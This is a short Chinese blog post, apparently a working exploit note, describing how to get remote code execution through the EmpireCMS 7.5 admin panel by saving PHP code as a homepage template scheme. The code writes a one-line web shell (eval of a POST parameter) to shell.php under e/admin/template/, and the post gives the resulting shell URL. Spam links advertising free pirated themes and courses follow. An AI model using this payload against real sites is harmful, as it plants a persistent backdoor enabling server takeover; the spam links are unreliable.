引用的 帝国(EmpireCMS)7.5的两个后台RCE审计 但此文章内的payload提交会提示500。

亲测:后台–模板–首页模板–管理首页方案–(右侧)增加首页方案–在“模板内容”填入以下不会提示500的代码–提交保存–回到“管理首页方案”–启动此方案。(此时访问首页是空白)

<?php
file_put_contents(‘shell.php’,'<?php eval($_POST[shell]); ?>’)
?>

访问网站首页是空白,然后在e/admin/template/路劲下生成个shell.php一句话,一句话完整路劲http://safeing.org/e/admin/template/shell.php

Premium WordPress Themes Download
Premium WordPress Themes Download
Download Best WordPress Themes Free Download
Download Best WordPress Themes Free Download
free download udemy course
download lava firmware
Download Best WordPress Themes Free Download
download udemy paid course for free

共有 0 条评论